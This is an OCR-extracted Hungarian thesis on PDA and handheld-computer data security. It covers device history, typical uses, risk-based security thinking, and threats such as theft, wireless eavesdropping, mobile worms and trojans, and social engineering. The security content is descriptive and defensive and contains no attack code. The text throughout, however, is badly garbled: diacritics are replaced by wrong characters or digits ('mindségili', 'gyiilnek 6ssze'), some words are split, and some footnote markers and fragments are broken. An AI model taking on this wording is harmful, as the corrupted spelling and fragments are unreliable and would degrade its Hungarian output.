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Bevezetés

Az adatvédelem az egyik legfontosabb téma napjainkban. Olyan mennyiségli és
mindségili adatok gyiilnek 6ssze a munkank sorén, amelyeknek elvesztése sajat magunk
szamara bosszantd, de egy cég szamara akar komoly 0zleti kockazatot is jelenthet. A
szamitogépeken koztik a kézi szamitogépeken tarolt adatok altal hordozott informéacio
érteék, melyrsl minden esetben gondoskodni kell!

Napjainkban egyre tobb olyan eszkozt fejlesztenek és hasznélnak, amik a
mindennapi életiinket konnyitik, szolgaljak. Ezek kozott megtalalhatunk kiilonb6z6
szamitastechnikai eszkdzoket, a notebooktol kezdve a jatékkonzolokon at a
mobiltelefonokig. Ide tartoznak a kézi szamitogépeknek nevezett személyes digitalis
asszisztensek® (tovabbiakban: PDA). Ezek az eszkézok mér nem csak szérakoztatasra
képesek, hanem egyre inkabb eclésegitik a korlatlan, kotetlen kapcsolatunkat, a
munkaval, embertarsainkkal, és a vildggal. Ez termeszetesnek mondhato, de ezt a
kapcsolatot bedrnyékolja a fenyegetettség, aminek arnyat azok hlzzak a fejlink fole,
akik adatainkat kivanjak megszerezni, munkankat szandékosan megneheziteni, avagy
pusztan csak ,,szorakozasbol” akarnak kart okozni.

Azok a cégek, vagy egyeni felhasznalok, akik nem foglalkoznak az eszkozeik
biztonsdgéval, olyan kockazatnak teszik ki magukat, amelynek elharitasara,
megel6zésére idében, pénzben, presztizsben kevesebbet kellene forditaniuk el6zetesen,
mint azutan, hogyha mar bekovetkezik a baj.

Az informacio ugyan nem kézzel foghatd, de létezik. A tarolt informéacié vedelme,
biztonsidgban tudasa elemi érdekink. Ennek ellenére egyes felmérések szerint a
megkérdezett felhasznalok tobbsége azt vallotta, hogy semmi olyasmit nem tarol a
gépén, amit erdemes lenne komolyabban védeni!

Valdban igy van ez?

Sajnos nem! Az adatainkkal kapcsolatban - mint az élet sok mas teruletén - itt is igaz,
hogy leginkébb akkor fognak hianyozni, ha elveszitjik éket.

' PDA: Personal Digital Assistant = személyes digitélis asszisztens. Egy olyan, tenyérben elféré
szamitdgéep, amely képes olyan alapvet6 feladatok ellatdsara, mint a notesz funkcid, alap szinti Word,
Excel kezelés, valamint audio és video lejatszas.



A dolgozat célja, hogy megvaltoztasson egy felfogast, hogy megismertessen egy
hozzéallassal. Az eszkdz képességeinek vizsgalataval valaszt kapunk arra a kérdésre,
hogy meg tudjuk - e 6vni a bizalmas titkainkat ezeknek a késziilékeknek a segitségével?
Vélaszt kereslink arra, hogy vajon a kézi szamitdgéplink hasznalatakor biztonsagosan
épitink - e ki kommunikacids kapcsolatokat mas készilékek, vagy halozatok felé? Mi
torténik akkor, ha a tamadas bekdvetkezik? Meg tudjuk-e védeni a személyes adatainkat
a készulékkel?

A kovetkezékben elemzésre keriilnek a kiilonbozé veszélyhelyzetek, amelyek a kézi
szamitogépen tarolt adatokat fenyegetik. A megoldasok, hogyan lehet 6ket megfeleld
modon megvédeni a veszélyforrasok és az esetleges tamadasi kategoériak figyelembe
vételével.

A vilagban ma egyre novekszik az informacid megszerzésére iranyuld tamadasok
mértéke és ereje. Azok, akik nem torédnek a védelemmel, sokkal elébb célpontokka

valnak.



1. Fejezet

Mirol szol ez a fejezet?

A bevezetd fejezetben megismerkedink a kézi szamitogépekkel, a kifejlesztésik

torténetével és fejlodésiik allomasaival.

1.1 APDA

A PDA egy olyan tenyérben elférd, kisméretli szamitogép, amelyet elsdsorban
személyes informacidk rogzitésére, feldolgozasara, tarolasara fejlesztettek ki és
alkalmaznak. A kor gyors fejlédésének koszonhetéen mar egyre erésebb CPU? - val
rendelkeznek, ami mar lehetévé teszi a bonyolultabb feladatok elvégzését, példaul a
grafikai szamolasokat, vagy akar egy a 16vedék ballisztikai jellemz6inek kiszamolasat.
A boviilo memoriakapacitdsnak kdszonhetéen pedig egyre tobb adat eltdroldsara van
lehetéség ezekben az eszkdzokben. Az eszkdz méretétdl fogva konnyen hordozhato,
rejthetd, de ez a mozgasszabadsag visszalthet, mert ez altal elvesztése, eltulajdonitasa
kdnnyebbe valik.

A PDA egy infravords port vagy egy USB kabel segitségével csatlakoztathatd méas
eszkdzokhoz, ami egyrészt segitség, masrészt biztonsagi rést is jelent, hiszen nemcsak
az adatok és a szoftver frissitése egyszeriisodik le, de az adatlopds, az adatok
kiszivargasa is konnyebben valosulhat meg. A kulvilag felé valo kapcsolatok miatt ma
mar egyes gépekben Wi-Fi® és Bluetooth® radid is van. Ma mér az internetes hozzéférés
Is elérhetd veliik, valamint barmilyen egyéb program telepithet6 rajuk.

Egyes tipusaikban vonalkdd olvasé is megtalalhatd, ami nagymértékben eldsegiti a
raktarozasban, anyagbeszerzésben valo felhasznalasukat. Gyartjak Oket csepp €s
utésallé kivitelben, valamint léteznek kifejezetten katonai felhasznalasra széant, az
extrém és egyedi igényeket kiszolgalo tipusaik is.

% A CPU (Central Processing Unit — kdzponti feldolgozoegység) més néven processzor, a szamitogép
azon egysége, mely az utasitasok értelmezését és végrehajtasat vezérli, félvezetds kivitelezésii, dsszetett
elektronikus aramkor.

> Wi-Fi : A Wireless Fidelity angol kifejezés roviditése, mely vezeték nélkiili Ethernet halézati
kapcsolatot jelent. Tobb sebességli valtozata létezik, melyek 11 Mbps-t61 54 Mbps sebességig terjednek.

* Bluetooth: A Bluetooth egy révid tavi vezeték nélkiili kommunikaciés szabvéany, melyet rendszerint
telekommunikacios eszkdz6k hasznalnak az egymas kozti, valamint szamitégépekkel, PDA - kal és més a
szabvanynak megfelelé kommunikacidra képes eszkozzel.
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1.2 A kézi szamitdgépek torténete

A 80-as évek elején még nem léteztek kézi szamitdgépek, ezért altalaban mindenki
hataridénaploba vagy csak egy egyszerl flizetbe gylijtogette a fontos telefonszamokat,
cimeket, a napi tennivaldit. Tizen6t évvel késébb az Apple cég piacra dobta digitalis
személyi titkarat, az elsé toll alapi PDA - t: a Newton®- t.
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Egy, még ma is miikod6é Newton grafikus kijelzGje.

Az eszkdz nem lett tul sikeres, méretei és silya nem engedte meg elterjedését,
raadasul igen gyengére sikertlt a beleépitett kéziras-felismerési eljards. Ami a
legfontosabb, hogy akkor meég a felhasznalok nem tudtdk igazan, hogy mire
hasznaljanak egy ilyen eszkozt.

A PDA - k masodik nemzedékére nem kellett sokaig varni. 1995 marciusaban az
amerikai Palm Computing elkészitett egy szintén toll alapi PDA - t, a Palm Pilotot. Az
Apple funkcidégazdag Newtonjaval ellentétben a Palm gyors és hatékony volt, viszont
egyelore csak egyszeribb feladatokat lathatott el: jegyzetelésre, cimjegyzék-
karbantartasra, naptari bejegyezések és feladatlistak készitésére lehetett hasznalni. Az
eredeti Palm Pilot Professional 1megabajt RAM — mal rendelkezett. A Palm Pilot, ez a
zsebben hordhatd kézi szamitdgép a maga csekely funkcionalitasaval is igen gyorsan
népszeriivé valt leginkdbb azért, mert a napi teenddket, jegyzeteket barmikor
szinkronizalni lehetett az asztali szdmitogéppel. Azt is mondhatjuk, hogy a Palm Pilot a

Ve

szinkronizalas az asztali géppel, valamint rendelkezett érintés érzékeny kijelzével.

® Egy, még ma is mitkodé Newton grafikus kijelz6jét pillanthatjuk meg él8ben a kovetkez6 linken:
http://66.18.227.240:8080/screen/, 2008.10.03.
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Javult a keziras-felismerés és letisztult, egyszer, célratoré szoftverekkel rendelkezett.
Lehet6ség volt szamos kiilsé eszkoz csatlakoztatasara, ezaltal hasznalhatésaga tovabb
novekedett. Egyszeri funkcionalitasaval és kezelhetéségével kivivta a felhasznalok
elismerését. A folyamatosan fejlédé Palm OS operacios rendszer sohasem akart a PC-s
vilagban hodit6 Windows-szerti felhasznaloi feliilet konkurencidja lenni, céljanak
tovabbra is az egyszeri kezelhetséget tartotta.

A Palm gépekkel parhuzamosan Europaban is piacra keriilt az angol Psion cég els6
menedzser kalkulator kinézetli PDA - ja, a Psion Series 3a. A Psion gépekkel egydtt
fejlodott az akkor még EPOC névre hallgatd Unix alapokkal rendelkez6 mobil
operaciods rendszer platform. A nagy piaci nyomassal, valamint a szines és multimédias
gépek megjelenésével a Psion nem tudott versenyben maradni, viszont miutan az EPOC
rendszer elérte az ER5 verzidszamot, akkor erre alapozva létrejott a Symbian platform.

A Microsoft is beszallt a versenybe a Windows CE nevii operacids rendszerével, és a
késobbi Pocket PC a tenyérgépek harmadik nemzedékének lett az operacios rendszere.

Ezek a gépek a latvanyos szines megjelenit6jiikkel, multimeédias képességeikkel és
sok mas szemet kapraztato képességiikkel tintek ki. A verseny beindult, elkeszult a
Palm Il sorozat, tébb memdriaval, infravorés kapuval, még kompaktabb meérettel,
szines megjelenitével. Mindharom cég (a Psion, a Palm és a Microsoft) tudta, hogy ez a
hatalmas, még kiaknazatlan piac elébb-utobb diborogni kezd és minden ide szént
eszkoznek operacios rendszerre lesz majd sziiksége. A Palm, a Microsoft és a Symbian
operacids rendszere egydtt lefedi a mai PDA - piac 95 szazalékat, ezért jelenleg Palm
OS, Pocket PC és Symbian OS alapu gépeket kulonboztetiink meg. A Symbian OS
meghatarozod szerepet tolt be a mobiltelefonok piacan. Mara, koszénheten az évtizedes
fejlesztésnek tébb mint 200 millié telefon operacios rendszereként hasznaljak a
vilagban. A Symbian a személyi szamitogépekével Osszevethetd funkciokra képes
készulékek szamara fejleszt és értékesit operacios rendszert.

Szd nélkidl nem lehet elmenni az egyéb operécids rendszert alkalmaz6 eszk6zok
mellett sem. A japan Sharp a 2000. évi CeBIT® alkalméval jelentette be elsdként, hogy
egy Linux-alapi kézi szamitogépet szeretne megjelentetni. A szamitgép Lineo’
Embedix disztriblciot futtatd eszkdz lett azért, mert teljesen nyilt, ingyenes és a

fejlesztoknek nagyobb szabadsagot engedélyez, mint a konkurens operacios

® A CeBIT a vilag egyik legnagyobb informatikai szakkiallitasa és vésara.
” A Lineo a linuxos szerverekre specializalddott Caldera International leanyvallalata.
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rendszerek.® A PDA — k torténete az Apple Newtonjaval kezd3dstt, és az akkor még
gyenge labakon allé készuléket két, PDA képességekkel rendelkez6 ,,ukunokaja”, az
iPod Touch és az iPhone késziilékek kovetik napjainkban.

Az Apple cég 2001 oktdberében piacra dobott egy teljesen 0j médialejatszot: ez volt
az iPod. Az elsé iPod hasonloan nézett ki a ma kaphatdakhoz, de 1ényegesen kevesebbet
tudott. Kiils6leg szinte ugyanolyan volt, mint a mai elterjedt rokonai, de fekete-fehér
kijelz6vel készult. Ebbdl jelenleg negyfele verzidé kaphaté a piacon: Shuffle, Nano,
Classic és Touch. Az els6é iPhone-t 2007. junius 29-én kezdték el arulni az Egyesilt
Allamokban, az elsé 30 oraban 270 ezer késziiléket értékesitett az Apple, és eddig
valamivel tobb, mint hatmilli¢ darab fogyott beléle. Erdekessége a késziilékeknek, hogy
egy teljes, flash memariabol futé OS X® rendszer fut rajtuk, 500 MB-0s méretben. Ezt a
méretet tObbek kozo6tt a csak asztali gépeken hasznalatos applikaciok eltavolitasaval
érték el.

1.3 Rovid technoldgiai fejlodéstorténet a kombo késziilékekig

A PDA - k az elmult években rohamos fejlédésen mennek keresztiil. Egyre jobban
hasonlitanak, a laptopokra vagy ink&bb azt mondhatndnk, hogy egyre inkabb
kdzelitenek annak funkcionalitasahoz. Mig a laptopok egyre kisebbek lesznek, addig a
PDA - k egyre tobbet tudnak, egyre nagyobb a teljesitményik és egyre szélesebb
teruleten valnak alkalmazhatova.

A legtdbb modellben szerepel email és internet elérési szolgaltatds és az Gjabbak, a
fejlettebbek mar képesek UMTS™ hélézathoz kapcsolédni esetleg rendelkeznek
HSDPA™ eléréssel is. Nem ritka ma mar, hogy egy cstcs-kategérias PDA akar 520
MHz sebességii Intel Xscale processzorral, 480 x 640 pixeles, 18 bites szinmelység
megjelenitésére képes kijelzével, 128 MB beépitett memoriaval. Ezen felil

® 1t meg kell emliteni, hogy a Symbian Alapitvany bejelentette, hogy elkésziti a Symbian OS - t nyilt
forrastva, ezzel adva még nagyobb l6kést az elterjedésének.

9 Ry
Az Apple operdcids rendszere.

'® Universal Mobile Telecommunications Systems, a GSM-rendszer utédjanak szant, annak
infrastrukturajara épiilé mobil tavkozlési rendszer, amely alkalmas fénykép, zene, mozgdkép, videoklip és
internetes tartalom tovabbitasara. Irodalom jegyzék: [9] hivatkozas.

! High-Speed Downlink Packet Access. Harmadik generaciés mobilkommunikéciés protokoll, melyet
elszeretettel hasznalnak vilagszerte mobil internet illetve egyéb nagy savszélességet igényld
szolgaltatasok kiszolgalasara.

11
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rendelkezhetnek WiFi elérési lehetéséggel is, a Bluetooth alapu radios atvitel pedig ma
mar alapfelszerelése ezeknek az eszk6zoknek.

Megtalalhatdé benne a memoriab6vité foglalat, amibe memoriakartyakon kiviil I/O
perifériak is illesztheték. Ezen tulajdonsagok hihetetlentl sokoldalu felhasznalhatdsagat
teszik lehetdvé a PDA - nak. A fejlédésnek talan csak a méret fog hatart szabni, hiszen
még most is toretlen a fejlesztés a kézi szamitdgépek vilagaban.*

Ennek a fejlesztésnek az egyik leglényegesebb alloméasa a kombd késziilékek
megjelenése. Ezek mar egyarant képesek kiszolgalni a felhasznalok igényét a telefon
funkcidkra, 6tvozni és egybegyurni a kézi szamitdgépek minden adottsagat, valamint
teljesitményiiknél fogva akar a legtjabb 3 dimenziés GPS* szoftverek futtatasét is
végrehajtjak.

1.4 Felhasznalhatosag

A PDA - k napjainkban mar szamos funkcidval rendelkeznek és igen sokféleképpen
felhasznalhatéak. Dokumentumok olvaséasara, adattaroldsara, adatkezelésére, internet
elérésre, e-mail lekérdezésére es kuldésére, zenehallgatasra, vided nézésére valamint
jatékra és egyre inkdbb GPS navigécidéra. Emellett szamos olyan alkalmazést
fejlesztenek ezekre az eszkdzokre, amelyekkel héal6zathoz tudunk kapcsolddni, azon
keresztul vagyunk képesek bizonyos tartalmak, adatok eléréséhez és hasznalatahoz.

Gyljté néven Personal Information Management (Személyes Informécidé Kezeld)
alkalmazasoknak hivjuk a PDA - k legfontosabb alapszoftvereit. Platform fliggetlenil
léteznek olyan felhasznalo6i programok a készilékekhez, esetleg mas-mas néven, amik a
kovetkez6 szolgaltatasokat nyujtjak: naptér, telefonkdnyv, tennivalok és jegyzettomb.

A rengeteg telepithet program kozott vannak szotar-, térkép-, projekt management-,
irodai-, adatbazis kezel6-, multimédias- és egyéb hasznos szoftverek.

' Irodalom jegyzék: [7] hivatkozas.
> Global Positioning System, a fold barmely pontjarol elérheté miiholdas helymeghatarozé rendszer.
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Személyes Informacio Kezel6 szoftverek.

Ezeknek a nagy tébbsége mar gyarilag telepitve van az eszk6z ROM (Read Only
Memory) taroléjaba. Ennek a megoldasnak az elénye, hogy nem lehet "elrontani" vagy
véletleniil letorolni Oket, igy a PDA teljes "emlékezetvesztése" utan is rendelkezésre
allnak. Tovabbi elény, hogy a kézi szdmitogépekre jelenleg még kevés internetes
veszedelem (virusok, tréjaiak, férgek, stb.) leselkednek, de ezek a veszélyeztetések

egyre fokozddnak.

Ahhoz, hogy a zavartalan miikodést biztositsak, a hardvernek folyamatos
energiaellatadsra van szllksége. Ezt egy beépitett fix, vagy cserélheté akkumulator
biztositja, amiknek a segitségevel, egy feltdltést kovetden 3-7 napig Uzembiztosan
képesek mitkddni ezek az eszkdzok.

Az adatbevitel problémajat megsziintetendé, a késziilékre szamos, akar testre
szabhatd keziras-felismeré szoftver készitettek, vagy akar kiilsé billentytlizetek
csatlakoztatasara is lehetésége van a felhasznaldknak.

1.5 Pillantas a jovébe, a tipus jovobeni térnyerése

A kozeljovoben olyan fejlesztéseken mehetnek at ezek a késziilékek, amik nagyban
befolyasolhatjak a tipus jovojét. A modositasok k6zéppontjaban még inkabb el6térbe
keril majd a jo kezelhet6ség, azon beliill is az érintéképernyd minél teljesebb

kihasznélasa.
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A hagyomanyos (single-touch) érintéképernyék mellett mar egyre tébb fejlesztés
iranyul a multi-touch rendszerti (azaz tobb érintési pont szimultan érzékelésre alkalmas)
érintbképerny6khoz, ami szamos Otletes, de mindenképpen latvanyos grafikus
funkcioval gazdagitja majd a kézi szamitdgepek kezeléi feliiletét.

Az Apple nemrég levédetett egy Uj technoldgiat, amivel a hordozhato késziilékekbe
szerelhetnek napelemeket. Az 1jitds nagyon valoszinl, hogy az érint6képernyds
kiitytikbe, vagyis a Touchba és az iPhone-ba fog keriilni.**

A kézi szamitogépek tudasa folyamatosan novekszik, és szolgaltataskészletiik pedig
egyre béviil. Habar a programozoi eszk6zok kovetkezd valtozata lehetévé teszi majd a
mérndkok szamara, hogy konnyen létrehozzak az asztali alkalmazasok mobil
valtozatait, figyelembe kell venni a PDA - k eladasanak csokkenését, miutan a hasonlo
funkciokat kinalé mobiltelefonok elviszik a piacuk egy részét.

Manapsag egyre inkabb a telefonokban jelenik meg a legtébb innovativ fejlesztés,
igy ezek a készulékek lesznek a digitalis konvergencia zaszl6shajoi.

A mobiltelefonok csakigy, mint a PDA — k, mar WiFi kapcsolattal internetezesre is
alkalmasak. Kézenfekvé tehat, hogy a mobil eszk6zok egyesitik magukban a digitalis
fényképez6gépek, videokamerak, zenelejatszok és szamitogépek adottsagait, ahogyan
egyre fejlettebb képességekkel birnak.

Az okos telefonok és a PDA - k tulajdonsagai mar annyira azonosak lettek, hogy nem
érdemes kulon venni a két kategoriat, 6sszefoglaldan kézi-szamitogépeknek hivjuk 6ket.

" Irodalom jegyzék: [10] hivatkozés.
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2. Fejezet

Mirol szol ez a fejezet?

Ebben a fejezetben megismerkediink a biztonsagi kockazat meghatarozasaval,
valamint bemutatasra kerlilnek azok a fenyegetés tipusok és sebezhetdségek, melyek

leginkabb jellemzdek a kézi szamitogépek vilagaban.

2.1 A biztonsagi kockazat értelmezése

»A biztonsag kockazatalapld megkdzelitése abbdl indul ki, hogy a biztonsag egy
dinamikusan valtozd, kedvez6 - a kovetelményeknek megfelelé - allapot, amelynek
megvaltozasa nem valoszin(i, de nem is lehet kizarni. Vagyis minél kisebb a valtozas
valoszinlisége, annal nagyobb a biztonsdg. A tokéletes biztonsag a gyakorlatban szinte
sohasem ¢érheté el, mindig szamolni kell valamilyen kockazattal és a védelmi
intézkedéseket a kockazatok elemzésére kell épiteni.”*®

Eppen ezért a tokéletes biztonsagra vald torekvéssel lehet elérni azt az allapotot, amit
a ,,biztonsagos” kifejezéssel tudunk leirni, hiszen a gyakorlatban szinte sohasem érhetd
el a tokéletes biztonsag, mert mindig szamolni kell bizonyos fok( kockazattal.

Egy olyan kornyezetben kell helyt allniuk ezeknek a készuléknek, ahol még az
informatikai vezet6k tobbsége is fittyet hany a mobil eszkdz6k biztonsagara.

A PDA hasznalata vallalati koérnyezetben sokkal kockazatosabb, mint példaul a
notebookoké, és habar a felhasznaldk tulnyomé tébbsége kockazatosabbnak tartja a
PDA - kat a notebookoknal, mégis csak elenyész6 résziik tesz valamit az eszkdzon
talalhatd adatok biztonsagos hasznalatéért, a tobbségik pedig nem titkositja, nem védi
az allomanyait.

Mindemellett a legtébb felhasznalo Ugy tud a mobil eszkozérdl a vallalati halozathoz
csatlakozni, hogy a folyamat soran azonositas nem torténik, igy ha a PDA idegen kézbe
keril, a tolvaj nem csak a késziléken térolt bizalmas adatokhoz juthat hozza
konnyedén, hanem lehet6séget kap a vallalati haldzat hozzaféréséhez.

> Munk Séandor: Informaciobiztonsag vs. Informatikai biztonsag. Robothadviselés 7. Tudomanyos
Szakmai Konferencia 2007. november 27.
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Hiaba 1éteznek Dbiztonsagi eldirasok az informatikai eszkdzok hasznalatara
vonatkozéan, ha az vagy nem terjed ki a mobil eszkdzokre, vagy betartasuk,

betartatasuk nem megfelelden torténik meg.

A biztonsdg megvaldsitasanak lépései a fenyegetések kiklszobolésére kell, hogy
irdnyuljanak, mégis sok esetben nem is lehetséges a kockazatok teljes, vagy
nagymértékli  kikiiszobolése. Ehhez tisztdban kell lenni a sebezhetdségekkel, a
fenyegetésekkel, valamint azzal, hogy ezeket milyen védelmi intézkedésekkel lehet
mérsékelni, megakadalyozni.

Léteznek azonban olyan fenyegetések, amiket nem tudunk el6zetesen kezelni. Ezért
tudnunk kell, mi a biztonsag alanya. Ez pedig az informacio, amelyet a PDA - n térolt
adatokbdl nyerink.

Fontos, hogy ezt az informaciot illetéktelenek ne ismerhessék meg, kizardlag csak az
arra jogosultak érjek el, és hogy az informéacio ne vesszen el, vagy semmisuljon meg,
illetve semmiképpen ne modosuljon.

A Kozigazgatasi Informatikai Bizottsag 25. sz. ajanlasa (3.2 pontja) rogziti, hogy a
tdmadas és a vedelem az informacidkat hordozo adatra iranyul.

.»--- A kockazatelemzésen alapuldé modszer egy olyan modellen nyugszik, amelynek
a kozéppontjdban a védendd alapérték, az informatikai rendszerben kezelt adatok altal
hordozott informéaciok allnak. Ezeket a kornyezetlket alkotd rendszerelemek veszik
koral. A tdmadasok altalaban nem kozvetlenul érik az adatokat, hanem az azokat

"koriilvevd" rendszerelemeken keresztiil.

A fenyegetd tényezok, illetve veszélyek az informatikai rendszerelemekhez
kapcsolodnak és azokon keresztill okozhatnak karokat mind a kezelt adatra, mind az
alkalmazasra, miutan az informatika-alkalmazas fiigg a rendszerelemektél. Eppen ezért
valamennyi olyan rendszerelemet vizsgalni kell, amelyektdl az informatikai rendszer
miikddése ¢és valamilyen modon az alkalmazéasai fiiggnek, és amelyeket valamely
fenyeget tényez6 vagy veszélyforras kozvetett, illetve kozvetlen modon érinthet."*®

A szamitastechnika fejlédésével egyreszt az informacio védelme korszeriisodik,
masrészrél a védendé informacio jellege is Oridsi valtozdsokon megy keresztil. A
szamitogépes haldzatok fejlodése tovabb forradalmasitja az informacio gyujtését,

'® A KIB 25. szam ajanlasa: 25/1-3. kétet: Az Informatikai Biztonsag Iranyitasanak Vizsgalata (1BIV)
1.0 verzi6. (214. oldal)
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feldolgozasat, kezelését és tarolasat, de ezzel egyutt a timadasok szaima és mindsége a
szamitogépes kdrnyezetben tarolt adatok megszerzéseére is egyre fokozodik, fejlédik.

A biztonsag és védelem értelmezése fokozatosan kiterjedt az informaciokat kezel6 és
az informécids tevékenységeket tdmogatod rendszerekre is, ezért a kézi szamitogépek
biztonsagi kérdését leginkabb harom f6 veszélyforras kdré csoportosithatjuk:

Az elsé a késziilékhez vald idegen, jogosulatlan fizikai hozzaférés. Mivel ezek az
eszkozok elég kisméretiiek, ezért konnyebb oket elvesziteni illetve ellopni. Egye
becslések szerint tobb szazezerre teheté azon késziilékek szama évente, amelyet
elveszitenek, vagy ellopnak. Ez azért problémés, mert a dolgozok harmada az Uzleti,
céges adatokat, esetleg a jelszavait, PIN'” kddjait tarolja a késziiléken. Ebbdl adédik a
tarolt adatokhoz val6 jogosulatlan hozzaférés, amikor egy olyan személy képes
hozzaférni a tarolt adatokhoz, akinek nincs arra jogkdre, hogy ezt megtehesse. Minél
tobb adatot tarolunk egy helyen, annal valosziniibb az ,.érzékeny” adat jelenléte. Mivel
az adatok taroldsi mérete folyamatosan novekszik, ezért a kézi szamitdgépek
tarolokapacitasa is koveti ezt a memoriakartyakon keresztil. Azok az adatok, amik a
hordozhat6 eszkozre rékeriilnek, sokszor a véllalat tulajdonat képezik, és sok esetben
nem is tud arrdl az IT felelGs, hogy ezek az adatok kikeriiltek a felelésségi korébol. A
kézi szdmitogépek méar csaknem minden tipusa rendelkezik valamilyen vezetékmentes
halézati kapcsolathoz valo csatlakozés lehet6ségével. Amennyiben a vezeték nélkdli
kapcsolat nincs megfeleléen konfiguralva és hasznalva, akkor az idegen hozzaférés, az
adatfolyam lehallgatasa biztonsagi kockazatot jelent.

Tisztaban vagyunk azzal, hogy a PDA — k és okos telefonok is szamitdgépek (még
ha kisméretiiek is), ezért programhibak, rosszindulatd szoftverek, virusok, férgek,
trojaik, hats0 kapuk okozhatnak rajtuk adatvesztést, vagy fokozhatjak a
sebezhetbségliket. Ezek érkezhetnek e-mailben is, de a Cabir®® féreg 6ta tudjuk, hogy
mar Bluetoothon keresztiil is terjednek. A ,,.SUPER_HALYAVNYE_SMS MMS.jar”
nevll trdjai pedig a felhaszndld engedélye nélkiil képes sms iizenetek szétkiildésére a
megfert6z6dott PDA késziilékrdl. ™

Y PIN: (Personal Identification Number = személyi azonosité szam) egy 4 szamjegybél &ll6 titkos kd,
amellyel kiilonféle személyes jellegli szolgaltatasokat védenek. Legkdzismertebb alkalmazésai a
folyoszamla-hozzaférés (bankkartyak) és mobiltelefon-hasznalat korlatozasa.

¥ A Symbian operacids rendszert futtaté telefonokat fertdzi meg, és egy SIS formatumd, biztonsagi
felligyeleti szoftvernek alcazott fajl segitségével terjed.

* Irodalom jegyzék: [13] hivatkozés.
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2.2 Tipikus fenyegetések

2.2.1 Social Engineering

Egy kozhelyet idéznek, amely szerint ,,Minden lanc olyan erds, mint a leggyengébb
lancszeme”. Ez helytdlld a kézi szamitogépek biztonsaganak vilagaban is. Hiaba
hasznaljuk a legujabb csucstechnikat, elég egy hajszalvékony rés a védelemben, és
maris elveszithetjik az uralmat a rendszeriink felett. Az igazat megvallva, még
manapséag is a biztonsagi lanc leggyengébb lancszemét alkotd elem nem szilicium,?
hanem szén alapu létforma, maga az ember.

Roviden megvélaszolva, a Social Engineering az emberek természetes, bizalomra
val6 hajlaméanak kihasznalasa. Ez a timadasi fajta nem a hardverelemek, a szoftver vagy
a haldzat hibait, hanem az emberi természet gyengeségeit hasznalja ki az informéacio
megszerzésére. Egyaltalan nem elfogadhatd az a megkozelités, hogy bizalommal kell
lenni az emberek irant, hiszen - és itt megint egy kdzhely kdvetkezik - a pokolba vezetd
ut jo szandékkal van kikdvezve. Az emberi viselkedést megvizsgéalva megallapithatjuk,
hogy ha elég kitartéan probalkozunk, talalunk valakit, akinek a hiszékenysége a mi
malmunkra hajtja a vizet. A tamadok ki is hasznaljadk ezt az alapvetd emberi
tulajdonsagot. Egy valamennyire hihet6 torténet, vagy kellden magabiztos fellépés
esetén valosziniileg lesz valaki, aki a szikseges informécidt a tdmado rendelkezesere
bocsajtja. Az emberi természetnek ezt a kihasznalhatdsagat tarsasagi manipulaciénak,
angolul Social Engineering - nek nevezik. Ez nagy szerepet jatszik abban, hogy a
tdmado megkerilhesse a biztonsagi korlatokat, amiket a tiizfalak és egyéb behatolas-
¢érzékeld rendszerek bonyolult, gyakran csak nagy erdfeszitések aran kijatszhato
rendszerei alkotnak. A felhasznalok hiszékenységére vagy az éberséguk hianyara
alapozva gyakran konnyii behatolast tesz lehetévé ez a tdimadasi forma.

Altalanossagban elmondhat6, hogy a Social Engineering tamadasok ugyan eltéréek
egymastdl, de mindnek megvan a forgatokonyve, egy olyan mintaja, amelyet minden,
ilyen jellegti timadéas hasznél.

Ezek:
e Informéacidszerzés

e Kapcsolatépités

?% Az informatikai iparban a szamitogépek processzorait (CPU) szilicium lapkak alkotjak.
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e A kapcsolat kihasznalasa (felhasznalasa)

e \égrehajtas — a tervezett cél megvalésitasa.?

Az informacidszerzés célja, hogy a kapcsolatépitéshez megszerezze a lehet6 legtébb
és legjobb informéaciot, ezaltal a kiépitend6 kapcsolat minél hasznalhatobb legyen a
tdmadashoz. Ez igen sok idéraforditast, valamint elézetesen jol kidolgozott Gtletet és
tervezést kivan meg a tdmadotdl. Ennek sordn hasznalhat telefonos megkeresést, célzott
elektronikus levelet vagy kukaatvizsgalast értékes informaciok utan kutatva.

A kapcsolatépités folyamataban a Kkivalasztott személyt, olyan pszichologiai
tdmaszokkal latjak el, amit6l motivaciot kap, hogy akarata ellenére segitségre legyen.
Ezek olyan meger6sitést nydjtanak szamara, mellyel azt képzeli, hogy a felel6ssége
elharithato, esetleg vagyat kelt benne, hogy cserébe kaphat valamit, vagy a moralis

blindsség elkeriilésének érzetével kecsegtet.

Mindemellett kézenfekvO, hogy az embert a tudatlansaga is belesodorhatja,
kivancsisaga is hajtja, esetleg gondatlansagbol, vagy bosszuvagybdl kdveti el azt a
hibat, amire a tAmaddnak célja eléréséhez sziiksége van. A tamadonak fontos, hogy a
célszemély bizalma, pontosabban 6 maga kihasznalhatova valjon a késébbiekben.

Jobban belegondolva egy ilyen jellegli tamadas naponta megeshet anélkil, hogy
észrevennénk. A munkatarsunk kolcsonkéri a PDA - nkat, mondvan, hogy csak egy e-
mail Uzenetet szeretne elkuldeni réla, mert otthon felejtette a sajatjat. Magunkkal
vissziik szorakozohelyekre (ez f6leg kombod késziilékeknél igényel fokozottabb
elévigyazatot), ahol megkerjuk ra a baratainkat, hogy vigyazzanak ra, amig tancolunk.

Barmilyen olyan esetben, amikor a készilék kikertl a tulajdonosanak, jogos
hasznaldjanak iranyitasa aldl, akkor érheti Social Engineering tdmadas. Ez a fajta
biztonsagi sebezhetdéség megel6zhetd akkor, ha éberebben, nagyobb odafigyeléssel
védekeziink a legnagyobb veszély, az emberi természet ellen.

! A rendszer prébéja: az etikus hackelés és penetréacios tesztelés, Krasznay Csaba, 2007
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2.2.2 A vezeték nélkiili adatatvitel sebezhetosége

2.2.2.1 A vezetékmentes hal6zatrdl altalanossagban

Eldszor néhany mondatban szeretnék kitérni a vezetékmentes halozatok felépitésérdl,
hiszen a szamitogépek fejlodésének koszonhetben jelent meg az igény erre a helytdl
fuggetlen adateléréshez, valamint ez a technolodgia teszi lehet6vé a kézi szamitogépek
mobil halozati felhasznalasat. A vezeték nélkuli megoldasok elénye a Kkiépitett
vezetékes halozattokkal szemben, hogy csupan kis mértékben fliggenek a kabelezés
Kiépitésétol. A legnagyobb elényiik ezeknek a megoldasoknak, hogy a felhasznélok
mobilitasa nagymértékben megnovekedett, ezaltal is ndvelve a munkavégzés
hatékonysagat és az adatok hordozhat6sagat.

Az adatatvitel modulalt radiohullam segitsegével torténik. Az elméleti adatatviteli
sebessége 11Mbps vagy 54Mbps, ami fligg a helyszini viszonyokt6l, a titkositas
ki/bekapcsolasatol.

3. abra

Egy WLAN halézat felépitése.

